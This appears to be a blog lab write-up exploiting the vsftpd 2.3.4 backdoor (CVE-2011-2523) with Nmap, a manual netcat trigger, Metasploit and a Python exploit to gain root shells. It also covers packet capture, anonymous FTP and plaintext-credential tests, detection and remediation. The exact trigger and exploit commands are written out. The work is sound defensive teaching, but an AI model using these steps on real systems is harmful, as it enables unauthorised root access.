FTP Backdoor Exploitation: From Nmap Reconnaissance to Root Access

Cybersecurity

Ethical Hacking

Information Security

FTP Backdoor Exploitation: From Nmap Reconnaissance to Root Access

Orion-Root

12 min read

·

3 days ago

\--

1

Listen

Share

A practical security assessment of CVE-2011–2523, including Nmap, manual exploitation, Metasploit, Python, Wireshark, and modern FTP security testing.

An FTP server can look completely normal from the outside.

Port 21 is open.

The banner looks legitimate.

Authentication works.

Files can be transferred.

But what if the software itself contains a hidden backdoor?

In this lab, I investigated vsftpd 2.3.4 and CVE-2011–2523 from multiple angles:

• Service reconnaissance
• Version detection
• Vulnerability discovery
• SearchSploit
• Manual backdoor triggering
• Nmap exploitation
• Metasploit exploitation
• Standalone Python exploitation
• Network traffic analysis
• Wireshark TCP stream analysis
• Anonymous FTP testing
• Plaintext credential exposure
• FTP bounce testing
• Defensive verification

The goal wasn’t simply to run an exploit.

The goal was to understand how an attacker discovers the problem, how the backdoor behaves, what the network looks like, and what a defender could detect.

Lab warning: Everything demonstrated in this article was performed against a deliberately vulnerable FTP server inside an isolated lab environment. Do not test these techniques against systems you do not own or have explicit authorization to assess.

1. What Is vsftpd 2.3.4?

vsftpd stands for Very Secure FTP Daemon.

It is an FTP server commonly used on Unix/Linux systems.

FTP normally operates using:

• TCP/21 — control connection
• Separate connections — file transfers and directory listings

For this lab, the target was running:

vsFTPd 2.3.4

At first glance, that simply looks like an old FTP server.

The interesting part is what happened with this particular version.

2. CVE-2011–2523 — The Backdoor

CVE-2011–2523 is unusual because it wasn’t a conventional buffer overflow or memory corruption vulnerability.

The problem was a malicious backdoor added to a compromised vsftpd 2.3.4 distribution archive.

The backdoor could be triggered through the FTP service and would expose a shell on TCP port 6200.

Nmap’s official NSE documentation describes its `ftp-vsftpd-backdoor` script as a test for this specific backdoor and notes that it uses the `id` command to verify command execution.

That gives us an interesting attack chain:

FTP port 21 ↓ Trigger backdoor ↓ TCP port 6200 ↓ Shell ↓ Command execution

Let’s see it ourselves.

3. Reconnaissance: Finding the FTP Service

The first step in a real assessment is usually reconnaissance.

I started with Nmap version detection:

nmap -sV -p 21 192.168.245.129 -vv

The important result was:

21/tcp open ftp syn-ack ttl 64 vsftpd 2.3.4

The server is exposing FTP on TCP/21 and, more importantly, the version is visible.

Press enter or click to view image in full size

Nmap identifies TCP/21 as FTP and reveals the vsftpd 2.3.4 version.

This is an important lesson:

Version information can turn an open port into a vulnerability research lead.

4. Confirming the FTP Banner Manually

I then connected directly to the service:

ftp 192.168.245.129

The server returned:

220 (vsFTPd 2.3.4)

The FTP server exposes its vsftpd 2.3.4 version through the FTP banner.

At this point, we have two pieces of information:

Port: 21 Service: FTP Version: vsftpd 2.3.4

Now we can move from enumeration to vulnerability discovery.

5. Vulnerability Discovery with Nmap

Nmap already has an NSE script specifically designed to test for this backdoor.

I ran:

nmap -p 21 --script vuln 192.168.245.129 -vv

The result was:

ftp-vsftpd-backdoor: VULNERABLE: vsFTPd version 2.3.4 backdoor State: VULNERABLE (Exploitable) IDs: CVE:CVE-2011-2523

But the most interesting part was:

Exploit results: Shell command: id Results: uid=0(root) gid=0(root)

That is much stronger than simply identifying an old version.

Nmap actually tested the backdoor and received a root identity response.

Nmap documents this NSE script as an exploit-category script specifically designed to test CVE-2011–2523.

Press enter or click to view image in full size

Nmap identifies CVE-2011–2523 and successfully verifies root-level command execution.

6. Searching for Public Exploits

Another common technique is searching local exploit databases.

I used:

searchsploit vsftpd 2.3.4

The result included:

vsftpd 2.3.4 - Backdoor Command Execution vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)

This immediately showed that multiple public exploitation paths exist.

Press enter or click to view image in full size

SearchSploit identifies both a standalone exploit and a Metasploit module for vsftpd 2.3.4.

7. Looking Inside the Exploit

Instead of blindly executing the exploit, I inspected it:

searchsploit -x 49757

The important part of the Python exploit was:

user="USER nergal:)" password="PASS pass"

followed by:

tn2=Telnet(host, 6200)

This reveals the basic mechanism.

The exploit makes one connection to FTP:

TCP/21

It sends a specially crafted username containing:

:)

Then it attempts a second connection:

TCP/6200

The important point is that 6200 isn’t replacing FTP’s port 21.

They are two separate connections.

Connection 1 Kali ───────────────→ Target:21 FTP trigger

↓Connection 2 Kali ───────────────→ Target:6200 Backdoor shell

Press enter or click to view image in full size

Inspecting the exploit reveals the FTP trigger and the subsequent connection to TCP/6200.

8. Checking TCP/6200 Before Triggering the Backdoor

Before triggering anything, I checked whether port 6200 was already listening:

nmap -p 6200 192.168.245.129

The result:

6200/tcp closed

So there was no backdoor shell listener at that moment.

TCP/6200 is initially closed before the backdoor trigger is sent.

This gives us a useful baseline.

9. Manually Triggering the Backdoor

I then inspected the Nmap NSE script itself:

grep -n -A40 -B10 "vsftpd-backdoor" \ /usr/share/nmap/scripts/ftp-vsftpd-backdoor.nse

The script revealed the FTP trigger:

USER X:) PASS X

I reproduced that interaction manually using Netcat:

printf 'USER X:)\r\nPASS X\r\n' | nc 192.168.245.129 21

The server responded:

220 (vsFTPd 2.3.4) 331 Please specify the password.

The important thing happened after the request.

Checking TCP/6200 again showed that the backdoor listener had appeared.

Kali | | TCP/21 | USER X:) | PASS X ↓ vsftpd | | backdoor triggered ↓ TCP/6200

Press enter or click to view image in full size

Press enter or click to view image in full size

The FTP interaction triggers the backdoor, after which TCP/6200 becomes available.

This is one of the most interesting parts of the entire vulnerability because we can observe the state change rather than simply relying on an exploit framework.

10. Direct Nmap Backdoor Validation

I then used the dedicated NSE script directly:

nmap -p 21 --script ftp-vsftpd-backdoor 192.168.245.129

The result:

VULNERABLE: vsFTPd version 2.3.4 backdoor

State: VULNERABLE (Exploitable)CVE:CVE-2011-2523

And again:

Shell command: id Results: uid=0(root) gid=0(root)

This is probably the cleanest single command in the lab for demonstrating the vulnerability.

Press enter or click to view image in full size

The dedicated Nmap NSE script confirms the backdoor and verifies root command execution.

11. Exploitation with Metasploit

Manual exploitation is useful for understanding the mechanism.

But penetration testers also use frameworks to automate exploitation.

I started Metasploit:

msfconsole

Then searched for the vulnerability:

search vsftpd 2.3.4

The relevant module was:

exploit/unix/ftp/vsftpd_234_backdoor

I selected it:

use 0

and configured the target:

set RHOSTS 192.168.245.129

Before exploitation, I checked the target:

check

Metasploit reported:

The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present

Press enter or click to view image in full size

Metasploit confirms that the target appears vulnerable based on its vsftpd 2.3.4 banner.

12. Running the Metasploit Exploit

I configured my Kali machine as the listener:

set LHOST 192.168.245.128

Then:

run

The exploit successfully opened a Meterpreter session.

I verified the session with:

getuid

Then:

sysinfo

And finally opened a system shell:

shell

Inside the shell:

id whoami

The result confirmed root-level access.

Press enter or click to view image in full size

Metasploit successfully exploits the backdoor and provides root-level command execution.

The important distinction here is:

Metasploit isn’t discovering a completely different vulnerability. It is automating the same underlying backdoor mechanism.

13. Exploitation Without Metasploit

To prove that a large framework isn’t required, I also executed the standalone Python exploit:

python3 /usr/share/exploitdb/exploits/unix/remote/49757.py 192.168.245.129

The exploit returned:

Success, shell opened

The standalone Python exploit successfully triggers the backdoor and opens a shell without Metasploit.

This gives us three different ways to approach the same vulnerability:

Nmap NSE ↓ Automated detection + exploitation

Metasploit ↓ Framework-based exploitationPython exploit ↓ Standalone exploitation

And we manually reproduced the underlying FTP trigger as well.

14. What Is Actually Happening on the Network?

At this point, we know the exploit works.

Get Orion-Root’s stories in your inbox

Join Medium for free to get updates from this writer.

Subscribe

Subscribe

Remember me for faster sign in

But what does it actually look like on the wire?

That’s where packet capture becomes useful.

I started tcpdump:

sudo tcpdump -i any -nn host 192.168.245.129

During exploitation, traffic appeared between Kali and the target on:

192.168.245.128 → 192.168.245.129:6200 192.168.245.129:6200 → 192.168.245.128

This confirmed that the backdoor shell was communicating over TCP/6200.

15. Capturing the Traffic for Wireshark

I saved the traffic to a PCAP file:

sudo tcpdump -i eth0 -nn host 192.168.245.129 \ -w vsftpd-backdoor.pcap

Then opened it:

wireshark vsftpd-backdoor.pcap

This allowed the exploitation process to be investigated at packet level.

16. Wireshark: FTP Trigger Traffic

Filtering the capture for FTP traffic exposed the FTP interaction used to trigger the backdoor.

This provides a useful perspective:

FTP connection ↓ trigger ↓ backdoor ↓ TCP/6200

Press enter or click to view image in full size

Wireshark reveals the FTP control traffic associated with triggering the vulnerable service.

17. Wireshark: TCP/6200

Next, I filtered for:

tcp.port == 6200

This showed the separate TCP conversation associated with the backdoor shell.

Press enter or click to view image in full size

TCP/6200 carries the backdoor shell communication after the FTP trigger.

18. Following the TCP Stream

The most interesting view came from:

Right-click → Follow → TCP Stream

The stream showed shell interaction including commands such as:

id whoami

and responses indicating:

uid=0(root) root

Press enter or click to view image in full size

Following the TCP stream exposes the shell interaction and confirms root-level command execution.

This is an important lesson for defenders:

An exploit isn’t just an event on the endpoint. It also produces network evidence.

19. The Backdoor Doesn’t Have to Stay Open

After the exploitation session ended, I checked the ports again:

nmap -p 21,6200 192.168.245.129

The result was:

21/tcp open ftp 6200/tcp closed

This is interesting because TCP/6200 was not permanently exposed.

The FTP service remained available, while the backdoor listener was no longer listening.

I then confirmed the FTP version again:

nmap -sV -p 21 192.168.245.129

Result:

21/tcp open ftp vsftpd 2.3.4

After the backdoor session ends, FTP remains exposed while the temporary TCP/6200 listener is closed.

This demonstrates why defenders should not rely solely on scanning for port 6200.

A closed 6200 does not prove that the vulnerable service is safe.

20. Modern FTP Security Testing

The historical backdoor is interesting, but an FTP assessment shouldn’t stop at one CVE.

Even when a server doesn’t contain this particular backdoor, there are other things worth checking.

So I performed several additional FTP security tests.

20.1 Anonymous FTP Access

First:

nmap -p 21 --script ftp-anon 192.168.245.129

The server reported:

Anonymous FTP login allowed (FTP code 230)

I then connected manually:

ftp 192.168.245.129

and authenticated as:

anonymous

The server responded:

230 Login successful.

A directory listing also succeeded:

150 Here comes the directory listing. 226 Directory send OK.

Anonymous authentication is enabled and the server permits directory listing.

Anonymous FTP isn’t automatically a vulnerability in every environment. Some organizations intentionally provide anonymous access.

The important security question is:

Is anonymous access intended, and what can an anonymous user actually access?

21. FTP System Information Enumeration

Nmap can also query the server’s FTP status:

nmap -p 21 --script ftp-syst 192.168.245.129

The server disclosed:

Logged in as ftp Session timeout in seconds is 300 Control connection is plain text Data connections will be plain text vsFTPd 2.3.4

This provides useful configuration information to an assessor.

The FTP SYST/STAT response reveals server information and confirms that both control and data connections are plaintext.

22. Plaintext FTP Credentials

The previous result said:

Control connection is plain text Data connections will be plain text

So I verified this at packet level.

I captured FTP traffic with:

sudo tcpdump -i eth0 -nn -A \ host 192.168.245.129 and port 21

The capture contained:

USER anonymous 331 Please specify the password.

PASS anonymous@example.com 230 Login successful.

The username and password were therefore visible directly in the unencrypted FTP control traffic.

Press enter or click to view image in full size

FTP authentication is visible directly in the packet capture because the control connection is unencrypted.

This is a major difference between traditional FTP and FTP protected with TLS.

FTP can be secured using TLS through the mechanisms specified in RFC 4217, including TLS negotiation for the control connection and protection of the data connection.

The important point is not simply:

“FTP is bad.”

Instead:

If FTP is required, administrators should understand whether authentication and data are protected and enforce an appropriate security policy.

23. FTP Bounce Testing

Another historical FTP technique is FTP bounce.

The idea is to abuse an FTP server’s data connection mechanism to make it connect to another system or port on behalf of the attacker.

I tested the server with:

nmap -p 21 --script ftp-bounce 192.168.245.129

The server responded:

500 Illegal PORT command.

Therefore, the FTP bounce test did not succeed against this configuration.

The FTP server rejects the crafted PORT request used by the FTP bounce test.

This is also an important lesson in security testing:

A security assessment should record failed techniques as well as successful ones.

A rejected attack can tell us something about the server’s configuration and behavior.

24. The Complete Attack Chain

After going through the entire process, the vulnerability can be represented as:

RECONNAISSANCE │ ▼ TCP/21 discovered │ ▼ vsftpd 2.3.4 found │ ▼ Vulnerability research │ ┌────────┴────────┐ ▼ ▼ Nmap NSE SearchSploit │ │ └────────┬────────┘ ▼ Backdoor found │ ▼ FTP trigger sent │ ▼ TCP/6200 opens │ ┌────────┼─────────┐ ▼ ▼ ▼ Nmap Metasploit Python │ │ │ └────────┼─────────┘ ▼ Root shell │ ▼ Packet capture │ ▼ Wireshark analysis

25. Attacker vs Defender View

One of the biggest lessons from this lab is that the same event can be viewed from two completely different perspectives.

Press enter or click to view image in full size

This is why vulnerability testing shouldn’t be limited to:

Is it vulnerable?

A stronger assessment asks:

How was it discovered? How can it be exploited? What happens on the network? What evidence does the attack leave? How could a defender detect it? How should the exposure be removed?

26. Detection Ideas

A defender investigating a suspicious FTP server could look for several indicators.

1. Unexpected vsftpd 2.3.4

An old or unexpected version should immediately trigger investigation.

2. TCP/6200 activity

The historical backdoor is associated with a shell listener on TCP/6200.

However, because the listener can be temporary, a later scan showing:

6200/tcp closed

doesn’t necessarily prove that the backdoor wasn’t triggered earlier.

3. Suspicious FTP commands

Network monitoring can help identify unusual FTP interaction.

4. Root-level shell activity

Commands such as:

id whoami

are not malicious by themselves, but unexpected root shell activity following an FTP connection would be highly significant.

5. Plaintext authentication

If packet capture reveals:

USER ... PASS ...

in cleartext, the FTP deployment should be reviewed.

6. Anonymous access

Anonymous access should be explicitly justified and restricted to the resources that genuinely need to be public.

27. Remediation

The most important remediation for CVE-2011–2523 is straightforward:

Do not run a compromised/vulnerable vsftpd build.

Replace the affected software with a trusted, supported version from a legitimate source and verify the integrity of software packages.

For FTP deployments generally:

• Keep the FTP server patched.
• Remove unnecessary anonymous access.
• Restrict FTP exposure with firewall rules.
• Monitor unusual FTP connections.
• Monitor unexpected listening ports.
• Avoid exposing FTP directly to untrusted networks when it isn’t required.
• Use TLS-protected FTP when FTP must be used.
• Protect both control and data channels according to the organization’s security requirements. RFC 4217 defines the TLS mechanisms for FTP security.

28. What Made This Vulnerability Interesting?

The most interesting part of CVE-2011–2523 isn’t simply that it provides remote command execution.

It’s how unusual the vulnerability is.

This isn’t the typical:

Buffer overflow ↓ Memory corruption ↓ Code execution

Instead:

Legitimate FTP service ↓ Maliciously modified software ↓ Special FTP trigger ↓ Hidden shell listener ↓ Remote command execution

And that makes it a great example of why software supply-chain integrity matters.

A perfectly normal-looking service can contain functionality that shouldn’t be there.

29. Final Takeaways

This lab demonstrated an entire vulnerability lifecycle rather than a single exploit command.

We started with:

Nmap

to discover the service.

Then:

FTP banner

to identify the version.

Then:

Nmap NSE SearchSploit

to identify exploitation paths.

Then we investigated the mechanism manually.

After that we demonstrated exploitation through:

Nmap Metasploit Python

and confirmed root-level command execution.

Then we moved to network analysis:

tcpdump Wireshark TCP/6200 Follow TCP Stream

Finally, we expanded the assessment beyond the historical CVE and tested:

Anonymous FTP FTP system information Plaintext authentication FTP bounce

The result is a much more realistic security assessment.

You’re not simply asking:

“Can I exploit this vulnerability?”

You’re asking:

“How would I discover it, validate it, exploit it, observe it, and defend against it?”

And that is the mindset that turns a vulnerability lab into actual security practice.

Press enter or click to view image in full size